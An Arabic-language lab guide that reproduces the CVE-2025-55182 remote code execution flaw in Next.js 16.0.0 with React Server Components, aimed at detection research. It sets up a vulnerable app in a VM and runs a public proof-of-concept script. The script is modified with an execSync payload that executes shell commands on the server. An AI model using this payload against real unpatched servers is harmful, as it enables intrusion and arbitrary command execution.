
مختبر قابل للتكرار يوضح CVE-2025-55182 لتنفيذ التعليمات البرمجية عن بُعد (Remote Code Execution) ضد Next.js 16.0.0 مع مكونات خادم React (React Server Components)، بما في ذلك تنفيذ الاستغلال الخارجي والتحقق من الآثار الجانبية.
توفر هذه الوثيقة إعدادًا كاملاً وقابلاً للتكرار لعرض ثغرة CVE-2025-55182 لتنفيذ الأكواد عن بُعد (RCE) ضد بيئة Next.js + React Server Components ضعيفة تعمل داخل جهاز افتراضي Multipass Ubuntu.
يتم تنفيذ الاستغلال من خارج الجهاز الافتراضي، مما يثبت قابلية الاستغلال عن بُعد ويُعد البيئة للكشف عن السلوك الشاذ.
المصدر: https://github.com/ejpir/CVE-2025-55182-research
sudo apt update && sudo apt upgrade -y
sudo apt install -y curl git build-essential
curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
sudo apt install -y nodejs
تحقق:
node -v
npm -v
sudo adduser reactlab
sudo usermod -aG sudo reactlab
su - reactlab
mkdir ~/react2shell-lab
cd ~/react2shell-lab
npx create-next-app@latest vulnerable-app
cd vulnerable-app
package.jsonقم بتحرير التبعيات:
"dependencies": {
"next": "16.0.0",
"react": "19.1.0",
"react-dom": "19.1.0"
}
أعد تثبيت الحزم:
rm -rf node_modules package-lock.json
npm install
تحقق:
npm list react react-dom next
المتوقع:
npm run build
npm start
المخرجات المتوقعة:
▲ Next.js 16.0.0
Local: http://localhost:3000
Network: http://10.X.X.X:3000

على جهاز آخر:
curl http://10.102.169.126:3000
يجب أن تتلقى صفحة Next.js الافتراضية بتنسيق HTML.
cd ~
git clone https://github.com/ejpir/CVE-2025-55182-research
cd CVE-2025-55182-research
ابحث عن:
hostname: 'localhost',
استبدل بـ:
hostname: '10.X.X.X',
مع استمرار تشغيل Next:
node test-simple.cjs
المتوقع في محطة Next.js:
NON-CHUNKED-RCE
هذا يؤكد تنفيذ الأكواد عن بُعد عبر React Flight باستخدام الإصدارات الضعيفة.

الهدف هو توليد سلوك قابل للملاحظة (نظام الملفات + تنفيذ عملية).
_prefix داخل test-simple.cjsابحث عن:
"_prefix": "console.log('NON-CHUNKED-RCE');//"
استبدل بـ:
"_prefix": "process.mainModule.require('child_process').execSync('touch /tmp/cve-2025-55182-syscall');console.log('NON-CHUNKED-RCE');//"
ملاحظة: require غير متاحة في سياق التنفيذ، لكن process.mainModule.require() متاحة.
تأكد من أن Next قيد التشغيل، ثم:
node test-simple.cjs
تحقق من إنشاء الملف:
ls -l /tmp/
يجب أن ترى:
cve-2025-55182-syscall
هذا يؤكد تنفيذ الأكواد عن بُعد وظيفيًا مع تأثيرات جانبية.

التصحيح:
React ≥ 19.2.1
Next.js ≥ 16.0.7